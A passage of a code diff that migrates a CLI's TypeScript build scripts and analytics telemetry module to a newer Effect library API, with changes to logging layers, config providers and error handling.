70 Effect.provide(ConfigLive),
73 - Effect.provide(Logger.pretty),
74 - Effect.provide(BunContext.layer),
71 + Effect.provide(Logger.layer([Logger.consolePretty()])),
72 + Effect.provide(BunServices.layer),
73 Effect.scoped,
74 Effect.map(() => ({ message: 'Process completed successfully.' })),
75 BunRuntime.runMain({
ts/packages/cli/scripts/generate-toolkit-slugs.ts
+56 -16
@@ -8,13 +8,11 @@ import {
8 Data,
9 DateTime,
10 Effect,
11 - Layer,
11 Logger,
12 Option,
13 Schema,
14 } from 'effect';
16 -import * as FileSystem from '@effect/platform/FileSystem';
17 -import * as BunContext from '@effect/platform-bun/BunContext';
15 +import * as FileSystem from 'effect/FileSystem';
16 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
17 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
18 import { TOOLKIT_SLUG_PATTERN } from 'src/models/toolkits';
@@ -69,16 +67,29 @@ class ToolkitFetchError extends Data.TaggedError('ToolkitFetchError')<{
67 readonly message: string;
68 }> {}
69
72 -const authHeaders = Effect.gen(function* () {
70 +class PrettierFormatError extends Data.TaggedError('PrettierFormatError')<{
71 + readonly message: string;
72 + readonly cause: unknown;
73 +}> {}
74 +
75 +const authHeaders: Effect.Effect<
76 + Record<string, string>,
77 + Config.ConfigError | ToolkitFetchError
78 +> = Effect.gen(function* () {
79 const userApiKey = yield* Config.option(Config.string('COMPOSIO_USER_API_KEY'));
80 const orgId = yield* Config.option(Config.string('COMPOSIO_ORG_ID'));
81 const apiKey = yield* Config.option(Config.string('COMPOSIO_API_KEY'));
82
83 if (Option.isSome(userApiKey)) {
78 - return {
79 - 'x-user-api-key': userApiKey.value,
80 - ...(Option.isSome(orgId) ? { 'x-org-id': orgId.value } : {}),
81 - };
84 + // Built imperatively: a conditional spread of `{ 'x-org-id': string }`
85 + // widens the property to `string | undefined`, which is not assignable
86 + // to a `Record<string, string>` index signature under
87 + // exactOptionalPropertyTypes.
88 + const headers: Record<string, string> = { 'x-user-api-key': userApiKey.value };
89 + if (Option.isSome(orgId)) {
90 + headers['x-org-id'] = orgId.value;
91 + }
92 + return headers;
93 }
94
95 if (Option.isSome(apiKey)) {
@@ -90,7 +101,16 @@ const authHeaders = Effect.gen(function* () {
101 });
102 });
103
93 -const fetchPage = (params: { baseUrl: string; headers: Record<string, string>; cursor?: string }) =>
104 +type ToolkitsPageDecoded = Schema.Schema.Type<typeof ToolkitsPage>;
105 +
106 +// The explicit return type is load-bearing: leaving it inferred makes the
107 +// `const result = yield* fetchPage(...)` binding in `fetchAllSlugs` a
108 +// self-referential inference cycle (TS7022).
109 +const fetchPage = (params: {
110 + baseUrl: string;
111 + headers: Record<string, string>;
112 + cursor?: string;
113 +}): Effect.Effect<ToolkitsPageDecoded, ToolkitFetchError> =>
114 Effect.gen(function* () {
115 const url = new URL('/api/v3/toolkits', params.baseUrl);
116 url.searchParams.set('limit', String(PAGE_SIZE));
@@ -104,7 +124,16 @@ const fetchPage = (params: { baseUrl: string; headers: Record<string, string>; c
124 });
125
126 if (!response.ok) {
107 - const body = yield* Effect.promise(() => response.text());
127 + // Reading the error body can itself fail (connection cut mid-response),
128 + // so it must not be wrapped with Effect.promise, which would turn that
129 + // failure into an uninterruptible-by-type defect.
130 + const body = yield* Effect.tryPromise({
131 + try: () => response.text(),
132 + catch: cause =>
133 + new ToolkitFetchError({
134 + message: `GET ${url.pathname} returned ${response.status}, and reading the error body failed: ${cause}`,
135 + }),
136 + });
137 return yield* new ToolkitFetchError({
138 message: `GET ${url.pathname} returned ${response.status}: ${body.slice(0, 400)}`,
139 });
@@ -115,7 +144,7 @@ const fetchPage = (params: { baseUrl: string; headers: Record<string, string>; c
144 catch: cause => new ToolkitFetchError({ message: `Response was not JSON: ${cause}` }),
145 });
146
118 - return yield* Schema.decodeUnknown(ToolkitsPage)(payload).pipe(
147 + return yield* Schema.decodeUnknownEffect(ToolkitsPage)(payload).pipe(
148 Effect.mapError(cause => new ToolkitFetchError({ message: `Unexpected response: ${cause}` }))
149 );
150 });
@@ -128,7 +157,10 @@ const fetchAllSlugs = (params: { baseUrl: string; headers: Record<string, string
157 let page = 0;
158
159 do {
131 - const result = yield* fetchPage({ ...params, cursor });
160 + // Explicit annotation: the inferred binding trips TS7022 through the
161 + // cursor feedback loop below when `fetchPage`'s type has to be
162 + // resolved from this very generator.
163 + const result: ToolkitsPageDecoded = yield* fetchPage({ ...params, cursor });
164 page += 1;
165
166 for (const toolkit of result.items) {
@@ -208,7 +240,16 @@ export function generateToolkitSlugs() {
240
241 yield* fs.makeDirectory(path.dirname(outputPath), { recursive: true });
242 yield* fs.writeFileString(outputPath, renderModule({ slugs, refreshedAt }));
211 - yield* Effect.promise(() => $`pnpm exec prettier --write ${outputPath}`.quiet());
243 + // Bun shell promises reject on a non-zero exit, so this is a fallible
244 + // Effect, not an Effect.promise defect.
245 + yield* Effect.tryPromise({
246 + try: () => $`pnpm exec prettier --write ${outputPath}`.quiet(),
247 + catch: cause =>
248 + new PrettierFormatError({
249 + message: `prettier --write ${outputPath} failed`,
250 + cause,
251 + }),
252 + });
253
254 yield* Console.log(`Wrote ${slugs.length} toolkit slugs to ${outputPath}`);
255 });
@@ -216,10 +257,9 @@ export function generateToolkitSlugs() {
257
258 if (require.main === module) {
259 generateToolkitSlugs().pipe(
219 - Effect.provide(Logger.pretty),
220 - Effect.provide(BunContext.layer),
260 + Effect.provide(Logger.layer([Logger.consolePretty()])),
261 Effect.provide(BunFileSystem.layer),
222 - Effect.provide(Layer.setConfigProvider(ConfigProvider.fromEnv())),
262 + Effect.provide(ConfigProvider.layer(ConfigProvider.fromEnv())),
263 Effect.scoped,
264 BunRuntime.runMain({ teardown })
265 );
ts/packages/cli/scripts/install-binary.ts
+7 -9
@@ -1,6 +1,6 @@
1 import process from 'node:process';
2 -import { Config, ConfigProvider, Console, Effect, Logger, Layer, LogLevel } from 'effect';
3 -import * as BunContext from '@effect/platform-bun/BunContext';
2 +import { Config, ConfigProvider, Console, Effect, Logger, Layer, References } from 'effect';
3 +import * as BunServices from '@effect/platform-bun/BunServices';
4 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
5 import { teardown } from './_shared';
6 import path from 'node:path';
@@ -51,18 +51,16 @@ export function installBinary() {
51 }
52
53 const ConfigLive = Effect.gen(function* () {
54 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
55 - Config.withDefault(LogLevel.Info)
56 - );
54 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
55
58 - return Logger.minimumLogLevel(logLevel);
59 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
56 + return Layer.succeed(References.MinimumLogLevel, logLevel);
57 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
58
59 if (require.main === module) {
60 installBinary().pipe(
61 Effect.provide(ConfigLive),
64 - Effect.provide(Logger.pretty),
65 - Effect.provide(BunContext.layer),
62 + Effect.provide(Logger.layer([Logger.consolePretty()])),
63 + Effect.provide(BunServices.layer),
64 Effect.scoped,
65 Effect.map(() => ({ message: 'Process completed successfully.' })),
66 BunRuntime.runMain({
ts/packages/cli/scripts/lint-boundaries.ts
+1 -1
@@ -129,7 +129,7 @@ export const compareBoundaryManifests = (
129 errors.push(
130 `${file}: ${foundCount}x ${formatBoundarySite(site)} found, ${registeredCount} registered. ` +
131 'New or relocated eslint-disables are not allowed in CLI src: thread the ' +
132 - '@effect/platform service (Path, FileSystem), effect/Config, or Either.try instead — ' +
132 + 'effect/Path or effect/FileSystem service, effect/Config, or Result.try instead — ' +
133 'see "Effect Boundary Policy" in ts/packages/cli/AGENTS.md. If this is genuinely a new ' +
134 'runtime boundary, regenerate the manifest with ' +
135 '`pnpm run validate:boundaries -- --update` and justify the boundary in your PR.'
ts/packages/cli/scripts/package-binaries.ts
+8 -10
@@ -15,8 +15,8 @@
15 */
16
17 import process from 'node:process';
18 -import { Config, ConfigProvider, Console, Effect, Logger, Layer, LogLevel } from 'effect';
19 -import * as BunContext from '@effect/platform-bun/BunContext';
18 +import { Config, ConfigProvider, Console, Effect, Logger, Layer, References } from 'effect';
19 +import * as BunServices from '@effect/platform-bun/BunServices';
20 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
21 import { LOCAL_TOOLS_BINARY_ASSET_DIRNAME, teardown } from './_shared';
22 import { $ } from 'bun';
@@ -73,7 +73,7 @@ export function packageBinaries() {
73 // Every archive names all four codex-acp paths, but carries real bytes
74 // only for the one its own `composio` binary can execute. See
75 // `archiveCompanionEntries` for why the other three are present but empty.
76 - const target = yield* releaseArtifactTargetFor(binary);
76 + const target = yield* Effect.fromResult(releaseArtifactTargetFor(binary));
77 const companionEntries = archiveCompanionEntries({
78 allRelativePaths: allCompanionRelativePaths,
79 target,
@@ -128,18 +128,16 @@ export function packageBinaries() {
128 }
129
130 const ConfigLive = Effect.gen(function* () {
131 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
132 - Config.withDefault(LogLevel.Info)
133 - );
131 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
132
135 - return Logger.minimumLogLevel(logLevel);
136 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
133 + return Layer.succeed(References.MinimumLogLevel, logLevel);
134 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
135
136 if (require.main === module) {
137 packageBinaries().pipe(
138 Effect.provide(ConfigLive),
141 - Effect.provide(Logger.pretty),
142 - Effect.provide(BunContext.layer),
139 + Effect.provide(Logger.layer([Logger.consolePretty()])),
140 + Effect.provide(BunServices.layer),
141 Effect.scoped,
142 Effect.map(() => ({ message: 'Process completed successfully.' })),
143 BunRuntime.runMain({
ts/packages/cli/scripts/record.ts
+13 -17
@@ -17,11 +17,10 @@
17 import process from 'node:process';
18 import path from 'node:path';
19 import os from 'node:os';
20 -import { Config, ConfigProvider, Effect, Logger, Layer, LogLevel, Ref } from 'effect';
21 -import * as BunContext from '@effect/platform-bun/BunContext';
22 -import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
20 +import { Config, ConfigProvider, Effect, Logger, Layer, References, Ref } from 'effect';
21 +import * as BunServices from '@effect/platform-bun/BunServices';
22 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
24 -import * as FileSystem from '@effect/platform/FileSystem';
23 +import { FileSystem } from 'effect/FileSystem';
24 import { teardown } from './_shared';
25 import { $ } from 'bun';
26 import * as p from '@clack/prompts';
@@ -247,7 +246,7 @@ function recordCommand(opts: {
246 vhsHeight: number;
247 }) {
248 return Effect.gen(function* () {
250 - const fs = yield* FileSystem.FileSystem;
249 + const fs = yield* FileSystem;
250 const {
251 group,
252 recording,
@@ -292,8 +291,8 @@ function recordCommand(opts: {
291 yield* Effect.logDebug(`[probe] ${label}: maxY=${maxY} → height=${height}`);
292
293 // Clean up probe artifacts.
295 - yield* fs.remove(probeSvgPath).pipe(Effect.orElse(() => Effect.void));
296 - yield* fs.remove(probeTapePath).pipe(Effect.orElse(() => Effect.void));
294 + yield* fs.remove(probeSvgPath).pipe(Effect.orElseSucceed(() => undefined));
295 + yield* fs.remove(probeTapePath).pipe(Effect.orElseSucceed(() => undefined));
296 }
297
298 // Final recording pass (or the only pass for fixed-height recordings).
@@ -317,7 +316,7 @@ function recordCommand(opts: {
316
317 function recordAll() {
318 return Effect.gen(function* () {
320 - const fs = yield* FileSystem.FileSystem;
319 + const fs = yield* FileSystem;
320
321 yield* Effect.sync(() => p.intro('composio record'));
322
@@ -434,7 +433,7 @@ function recordAll() {
433 ]) {
434 const stat = yield* fs
435 .stat(filePath)
437 - .pipe(Effect.orElse(() => Effect.succeed({ size: 0n } as { size: bigint })));
436 + .pipe(Effect.orElseSucceed((): { size: bigint } => ({ size: 0n })));
437 totalBytes += BigInt(stat.size);
438 }
439 }
@@ -459,18 +458,15 @@ function recordAll() {
458 // --- Bootstrap ---
459
460 const ConfigLive = Effect.gen(function* () {
462 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
463 - Config.withDefault(LogLevel.Info)
464 - );
461 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
462
466 - return Logger.minimumLogLevel(logLevel);
467 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
463 + return Layer.succeed(References.MinimumLogLevel, logLevel);
464 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
465
466 recordAll().pipe(
467 Effect.provide(ConfigLive),
471 - Effect.provide(Logger.pretty),
472 - Effect.provide(BunContext.layer),
473 - Effect.provide(BunFileSystem.layer),
468 + Effect.provide(Logger.layer([Logger.consolePretty()])),
469 + Effect.provide(BunServices.layer),
470 Effect.map(() => ({ message: 'Process completed successfully.' })),
471 BunRuntime.runMain({
472 teardown,
ts/packages/cli/skills-src/composio-cli/index.ts
+4
@@ -14,6 +14,10 @@ import {
14 type SkillReleaseChannel,
15 } from './reference-schema';
16
17 +// Re-exported for scripts/build-skills.ts, which maps the --channel CLI
18 +// flag onto the build pipeline's channel type.
19 +export type { SkillReleaseChannel };
20 +
21 type SkillFlag = {
22 description: string;
23 name: string;
ts/packages/cli/src/analytics/dispatch.ts
+81 -81
@@ -1,9 +1,5 @@
1 import process from 'node:process';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as HttpClient from '@effect/platform/HttpClient';
4 -import * as HttpClientRequest from '@effect/platform/HttpClientRequest';
5 -import * as Path from '@effect/platform/Path';
6 -import type { PlatformError } from '@effect/platform/Error';
2 +import type { PlatformError } from 'effect/PlatformError';
3 import {
4 Cause,
5 Clock,
@@ -12,9 +8,12 @@ import {
8 DateTime,
9 Effect,
10 Encoding,
11 + FileSystem,
12 Option,
16 - Schema,
13 + Path,
14 + Predicate,
15 } from 'effect';
16 +import { HttpClient, HttpClientRequest } from 'effect/unstable/http';
17 import * as constants from 'src/constants';
18 import { APP_CONFIG } from 'src/effects/app-config';
19 import { getDetachedWorkerSpawnArgs, spawnDetached } from 'src/services/detached-process';
@@ -76,7 +75,11 @@ type ConsumerShortTermCacheState = Record<
75
76 // Workers start before the CLI's prefixed ConfigProvider is assembled, so this
77 // module names and reads the actual environment variables from a raw provider.
79 -const environmentProvider = ConfigProvider.fromEnv();
78 +// `ConfigProvider.fromEnv()` snapshots `process.env` at construction time
79 +// (see the vendored `effect` source), so the provider must be rebuilt on every
80 +// read rather than memoized at module scope -- otherwise env changes made
81 +// after import (including `vi.stubEnv` in tests) are never observed.
82 +const getEnvironmentProvider = (): ConfigProvider.ConfigProvider => ConfigProvider.fromEnv();
83 const optionalString = (name: string) => Config.option(Config.string(name));
84 const booleanWithDefault = (name: string) => Config.boolean(name).pipe(Config.withDefault(false));
85 const configuredString = (value: Option.Option<string>): string | undefined =>
@@ -86,44 +89,44 @@ const configuredString = (value: Option.Option<string>): string | undefined =>
89 Option.getOrUndefined
90 );
91
89 -const analyticsDisabled = environmentProvider.load(
92 +const analyticsDisabled = Effect.suspend(() =>
93 Config.all({
94 cliTelemetryDisabled: booleanWithDefault('COMPOSIO_CLI_TELEMETRY_DISABLED'),
95 telemetryDisabled: booleanWithDefault('TELEMETRY_DISABLED'),
96 composioTelemetryDisabled: booleanWithDefault('COMPOSIO_DISABLE_TELEMETRY'),
97 nodeEnvironment: Config.string('NODE_ENV').pipe(Config.withDefault('')),
98 ci: booleanWithDefault('CI'),
96 - }).pipe(
97 - Config.map(
98 - ({
99 - cliTelemetryDisabled,
100 - telemetryDisabled,
101 - composioTelemetryDisabled,
102 - nodeEnvironment,
103 - ci,
104 - }) =>
105 - cliTelemetryDisabled ||
106 - telemetryDisabled ||
107 - composioTelemetryDisabled ||
108 - nodeEnvironment === 'test' ||
109 - ci
99 + })
100 + .pipe(
101 + Config.map(
102 + ({
103 + cliTelemetryDisabled,
104 + telemetryDisabled,
105 + composioTelemetryDisabled,
106 + nodeEnvironment,
107 + ci,
108 + }) =>
109 + cliTelemetryDisabled ||
110 + telemetryDisabled ||
111 + composioTelemetryDisabled ||
112 + nodeEnvironment === 'test' ||
113 + ci
114 + )
115 )
111 - )
116 + .parse(getEnvironmentProvider())
117 );
118
114 -const getPostHogConfig = environmentProvider
115 - .load(
116 - Config.all({
117 - ingestUrl: optionalString('COMPOSIO_POSTHOG_INGEST_URL'),
118 - projectKey: optionalString('COMPOSIO_POSTHOG_PROJECT_API_KEY'),
119 - })
120 - )
121 - .pipe(
122 - Effect.map(({ ingestUrl, projectKey }) => ({
123 - ingestUrl: configuredString(ingestUrl) ?? constants.COMPOSIO_POSTHOG_INGEST_URL,
124 - projectKey: configuredString(projectKey) ?? constants.COMPOSIO_POSTHOG_PROJECT_API_KEY,
125 - }))
126 - );
119 +const getPostHogConfig = Effect.suspend(() =>
120 + Config.all({
121 + ingestUrl: optionalString('COMPOSIO_POSTHOG_INGEST_URL'),
122 + projectKey: optionalString('COMPOSIO_POSTHOG_PROJECT_API_KEY'),
123 + }).parse(getEnvironmentProvider())
124 +).pipe(
125 + Effect.map(({ ingestUrl, projectKey }) => ({
126 + ingestUrl: configuredString(ingestUrl) ?? constants.COMPOSIO_POSTHOG_INGEST_URL,
127 + projectKey: configuredString(projectKey) ?? constants.COMPOSIO_POSTHOG_PROJECT_API_KEY,
128 + }))
129 +);
130
131 const postHogEnabled = Effect.gen(function* () {
132 if (yield* analyticsDisabled) {
@@ -135,11 +138,14 @@ const postHogEnabled = Effect.gen(function* () {
138
139 export const analyticsIdentityLinkingEnabled = postHogEnabled;
140
138 -const jsonFromString = Schema.parseJson();
139 -const prettyJsonFromString = Schema.parseJson({ space: 2 });
140 -const decodeJson = Schema.decodeUnknown(jsonFromString);
141 -const encodeJson = Schema.encode(jsonFromString);
142 -const encodePrettyJson = Schema.encode(prettyJsonFromString);
141 +const jsonError = (error: unknown): Error =>
142 + Predicate.isError(error) ? error : new Error(String(error));
143 +const decodeJson = (str: string) =>
144 + Effect.try({ try: (): unknown => JSON.parse(str), catch: jsonError });
145 +const encodeJson = (value: unknown) =>
146 + Effect.try({ try: () => JSON.stringify(value), catch: jsonError });
147 +const encodePrettyJson = (value: unknown) =>
148 + Effect.try({ try: () => JSON.stringify(value, null, 2), catch: jsonError });
149
150 const telemetryDebugLog = (label: string, payload: Record<string, unknown>) =>
151 Effect.gen(function* () {
@@ -154,7 +160,7 @@ const telemetryDebugLog = (label: string, payload: Record<string, unknown>) =>
160
161 const telemetryErrorDetails = (cause: Cause.Cause<unknown>): Record<string, string> => {
162 const squashed = Cause.squash(cause);
157 - const error = Cause.isUnknownException(squashed) ? squashed.error : squashed;
163 + const error = Cause.isUnknownError(squashed) ? squashed.cause : squashed;
164 return error instanceof Error
165 ? { name: error.name, message: error.message }
166 : { message: String(error) };
@@ -163,12 +169,10 @@ const telemetryErrorDetails = (cause: Cause.Cause<unknown>): Record<string, stri
169 const getAnalyticsPaths = Effect.gen(function* () {
170 const path = yield* Path.Path;
171 const os = yield* NodeOs;
166 - const cacheDirectories = yield* environmentProvider.load(
167 - Config.all({
168 - composio: optionalString('COMPOSIO_CACHE_DIR'),
169 - legacy: optionalString('CACHE_DIR'),
170 - })
171 - );
172 + const cacheDirectories = yield* Config.all({
173 + composio: optionalString('COMPOSIO_CACHE_DIR'),
174 + legacy: optionalString('CACHE_DIR'),
175 + }).parse(getEnvironmentProvider());
176 const analyticsDir = path.join(os.homedir, COMPOSIO_DIR);
177 const cacheDir =
178 configuredString(cacheDirectories.composio) ??
@@ -192,7 +196,7 @@ const readOptionalJson = <A>(filePath: string) =>
196 const fs = yield* FileSystem.FileSystem;
197 const raw = yield* fs.readFileString(filePath, 'utf8');
198 return (yield* decodeJson(raw)) as A;
195 - }).pipe(Effect.catchAll(() => Effect.succeed(undefined)));
199 + }).pipe(Effect.catch(() => Effect.succeed(undefined)));
200
201 type AnalyticsState = {
202 readonly install_id?: string;
@@ -231,7 +235,7 @@ const recoverStaleAnalyticsStateLock = (
235 const stalePath = `${lockPath}.stale-${crypto.randomUUID().slice(0, 8)}`;
236 yield* fs.rename(lockPath, stalePath);
237 yield* fs.remove(stalePath, { force: true });
234 - }).pipe(Effect.catchAll(() => Effect.void));
238 + }).pipe(Effect.catch(() => Effect.void));
239
240 const acquireAnalyticsStateLock = Effect.gen(function* () {
241 const fs = yield* FileSystem.FileSystem;
@@ -252,15 +256,13 @@ const acquireAnalyticsStateLock = Effect.gen(function* () {
256 );
257 const tryAcquire = (): Effect.Effect<void, PlatformError, never> =>
258 fs.writeFileString(paths.analyticsStateLockPath, token, { flag: 'wx' }).pipe(
255 - Effect.catchTag('SystemError', error => {
256 - if (error.reason !== 'AlreadyExists') {
259 + Effect.catchTag('PlatformError', error => {
260 + if (!Predicate.isTagged(error.reason, 'AlreadyExists')) {
261 return Effect.fail(error);
262 }
263 return recoverStaleAnalyticsStateLock(fs, paths.analyticsStateLockPath).pipe(
264 Effect.andThen(
261 - fs
262 - .exists(paths.analyticsStateLockPath)
263 - .pipe(Effect.catchAll(() => Effect.succeed(true)))
265 + fs.exists(paths.analyticsStateLockPath).pipe(Effect.catch(() => Effect.succeed(true)))
266 ),
267 Effect.flatMap(lockStillExists => {
268 if (lockStillExists && Date.now() >= deadline) {
@@ -278,13 +280,13 @@ const acquireAnalyticsStateLock = Effect.gen(function* () {
280 return { fs, lockPath: paths.analyticsStateLockPath, token };
281 });
282
281 -const releaseAnalyticsStateLock = (lock: Effect.Effect.Success<typeof acquireAnalyticsStateLock>) =>
283 +const releaseAnalyticsStateLock = (lock: Effect.Success<typeof acquireAnalyticsStateLock>) =>
284 Effect.gen(function* () {
285 const currentToken = yield* lock.fs.readFileString(lock.lockPath, 'utf8');
286 if (currentToken === lock.token) {
287 yield* lock.fs.remove(lock.lockPath, { force: true });
288 }
287 - }).pipe(Effect.catchAll(() => Effect.void));
289 + }).pipe(Effect.catch(() => Effect.void));
290
291 const withAnalyticsStateLock = <A, E, R>(effect: Effect.Effect<A, E, R>) =>
292 Effect.acquireUseRelease(acquireAnalyticsStateLock, () => effect, releaseAnalyticsStateLock);
@@ -304,7 +306,7 @@ const getOrCreateInstallIdUnlocked = Effect.gen(function* () {
306
307 yield* fs
308 .makeDirectory(paths.analyticsDir, { recursive: true })
307 - .pipe(Effect.catchAll(() => Effect.void));
309 + .pipe(Effect.catch(() => Effect.void));
310
311 const state = yield* readOptionalJson<AnalyticsState>(paths.analyticsStatePath);
312 if (typeof state?.install_id === 'string' && state.install_id.length > 0) {
@@ -323,7 +325,7 @@ const getOrCreateInstallIdUnlocked = Effect.gen(function* () {
325 });
326
327 const getOrCreateInstallId = withAnalyticsStateLock(getOrCreateInstallIdUnlocked).pipe(
326 - Effect.catchAll(() => makeInstallId)
328 + Effect.catch(() => makeInstallId)
329 );
330
331 const mergeAnalyticsStateUnlocked = (installId: string, patch: Partial<AnalyticsState>) =>
@@ -333,7 +335,7 @@ const mergeAnalyticsStateUnlocked = (installId: string, patch: Partial<Analytics
335
336 yield* fs
337 .makeDirectory(paths.analyticsDir, { recursive: true })
336 - .pipe(Effect.catchAll(() => Effect.void));
338 + .pipe(Effect.catch(() => Effect.void));
339
340 const state = yield* readOptionalJson<AnalyticsState>(paths.analyticsStatePath);
341 const contents = yield* encodeJson({
@@ -358,7 +360,7 @@ const getOrgId = Effect.map(readUserConfig, config =>
360
361 const getUserApiKey = Effect.gen(function* () {
362 const envApiKey = configuredString(
361 - yield* environmentProvider.load(optionalString('COMPOSIO_USER_API_KEY'))
363 + yield* optionalString('COMPOSIO_USER_API_KEY').parse(getEnvironmentProvider())
364 );
365 if (envApiKey) {
366 return envApiKey;
@@ -491,7 +493,7 @@ export const getCurrentCwdSessionId = (cwd = process.cwd()) =>
493 }
494
495 return best?.id;
494 - }).pipe(Effect.catchAllCause(() => Effect.succeed(undefined)));
496 + }).pipe(Effect.catchCause(() => Effect.succeed(undefined)));
497
498 const withCliSessionId = (event: NonNullable<TrackEvent>, cliSessionId?: string): TrackEvent => ({
499 ...event,
@@ -504,7 +506,7 @@ const withCliSessionId = (event: NonNullable<TrackEvent>, cliSessionId?: string)
506
507 export const readApiBaseUrl = Effect.gen(function* () {
508 const envBaseUrl = configuredString(
507 - yield* environmentProvider.load(optionalString('COMPOSIO_BASE_URL'))
509 + yield* optionalString('COMPOSIO_BASE_URL').parse(getEnvironmentProvider())
510 );
511 if (envBaseUrl) {
512 return envBaseUrl.replace(/\/+$/u, '');
@@ -514,7 +516,7 @@ export const readApiBaseUrl = Effect.gen(function* () {
516 return typeof userConfig?.base_url === 'string' && userConfig.base_url.trim().length > 0
517 ? userConfig.base_url.trim().replace(/\/+$/u, '')
518 : null;
517 -}).pipe(Effect.catchAllCause(() => Effect.succeed(null)));
519 +}).pipe(Effect.catchCause(() => Effect.succeed(null)));
520
521 const getCliCodactFailuresEndpoint = Effect.map(readApiBaseUrl, baseUrl =>
522 baseUrl ? `${baseUrl}${CLI_CODACT_FAILURES_PATH}` : null
@@ -600,12 +602,10 @@ type CliInvocationContext = {
602 // root run process holds its freshly minted id in the CliRunId service instead, so failures it
603 // reports carry the same run id its children stamp from the environment.
604 const getCliInvocationContext = Effect.gen(function* () {
603 - const environment = yield* environmentProvider.pipe(extendConfigProvider).load(
604 - Config.all({
605 - origin: APP_CONFIG.CLI_INVOCATION_ORIGIN,
606 - parentRunId: APP_CONFIG.CLI_PARENT_RUN_ID,
607 - })
608 - );
605 + const environment = yield* Config.all({
606 + origin: APP_CONFIG.CLI_INVOCATION_ORIGIN,
607 + parentRunId: APP_CONFIG.CLI_PARENT_RUN_ID,
608 + }).parse(extendConfigProvider(getEnvironmentProvider()));
609 const mintedRunId = Option.flatten(yield* Effect.serviceOption(CliRunId));
610 return {
611 origin: environment.origin,
@@ -735,7 +735,7 @@ export const trackCliEventEffect = (event: TrackEvent) =>
735 installId,
736 };
737 yield* enqueuePostHogEnvelope(envelope);
738 - }).pipe(Effect.catchAllCause(() => Effect.void));
738 + }).pipe(Effect.catchCause(() => Effect.void));
739
740 export const emitPostHogAlias = (installId: string, apolloUserId: string) =>
741 Effect.gen(function* () {
@@ -758,7 +758,7 @@ export const emitPostHogAlias = (installId: string, apolloUserId: string) =>
758 installId,
759 };
760 return yield* enqueuePostHogEnvelope(envelope);
761 - }).pipe(Effect.catchAllCause(() => Effect.succeed(false)));
761 + }).pipe(Effect.catchCause(() => Effect.succeed(false)));
762
763 export const linkApolloIdentityForAnalytics = (apolloUserId: string, apiKey?: string) =>
764 Effect.gen(function* () {
@@ -857,7 +857,7 @@ export const linkApolloIdentityForAnalytics = (apolloUserId: string, apiKey?: st
857 })
858 );
859 }
860 - }).pipe(Effect.catchAllCause(() => Effect.void));
860 + }).pipe(Effect.catchCause(() => Effect.void));
861
862 export const clearApolloIdentityForAnalytics = withAnalyticsStateLock(
863 Effect.gen(function* () {
@@ -870,7 +870,7 @@ export const clearApolloIdentityForAnalytics = withAnalyticsStateLock(
870 api_key_fingerprint: undefined,
871 });
872 })
873 -).pipe(Effect.catchAllCause(() => Effect.void));
873 +).pipe(Effect.catchCause(() => Effect.void));
874
875 export const trackCliCodactFailureEffect = (failure: CliCodactFailure) =>
876 Effect.gen(function* () {
@@ -895,7 +895,7 @@ export const trackCliCodactFailureEffect = (failure: CliCodactFailure) =>
895 encodedPayload
896 );
897 yield* spawnWorker(command, args);
898 - }).pipe(Effect.catchAllCause(() => Effect.void));
898 + }).pipe(Effect.catchCause(() => Effect.void));
899
900 const getWorkerFlagIndex = (argv: ReadonlyArray<string>, flag: string): number =>
901 argv.findIndex(token => token === flag);
@@ -906,7 +906,7 @@ export const isBackgroundWorkerInvocation = (argv: ReadonlyArray<string>): boole
906
907 const decodeWorkerPayload = <A>(encodedPayload: string) =>
908 Effect.gen(function* () {
909 - const serialized = yield* Encoding.decodeBase64UrlString(encodedPayload);
909 + const serialized = yield* Effect.fromResult(Encoding.decodeBase64UrlString(encodedPayload));
910 return (yield* decodeJson(serialized)) as A;
911 });
912
@@ -933,7 +933,7 @@ const settlePostHogAlias = (envelope: AnalyticsEnvelope, delivered: boolean) =>
933 pending_alias_attempted_at: undefined,
934 });
935 })
936 - ).pipe(Effect.catchAllCause(() => Effect.void));
936 + ).pipe(Effect.catchCause(() => Effect.void));
937 };
938
939 const runAnalyticsWorker = (argv: ReadonlyArray<string>) => {
@@ -953,7 +953,7 @@ const runAnalyticsWorker = (argv: ReadonlyArray<string>) => {
953 return true;
954 }
955 const delivered = yield* captureToPostHog(envelope).pipe(
956 - Effect.catchAllCause(cause =>
956 + Effect.catchCause(cause =>
957 telemetryDebugLog('delivery_error', { error: telemetryErrorDetails(cause) }).pipe(
958 Effect.as(false)
959 )
@@ -961,7 +961,7 @@ const runAnalyticsWorker = (argv: ReadonlyArray<string>) => {
961 );
962 yield* settlePostHogAlias(envelope, delivered);
963 return true;
964 - }).pipe(Effect.catchAllCause(() => Effect.succeed(true)));
964 + }).pipe(Effect.catchCause(() => Effect.succeed(true)));
965 };
966
967 const runCodactFailureWorker = (argv: ReadonlyArray<string>) => {
@@ -993,7 +993,7 @@ const runCodactFailureWorker = (argv: ReadonlyArray<string>) => {
993 requestId: body.request_id,
994 });
995 }).pipe(
996 - Effect.catchAllCause(cause =>
996 + Effect.catchCause(cause =>
997 telemetryDebugLog('codact_delivery_error', { error: telemetryErrorDetails(cause) })
998 )
999 );
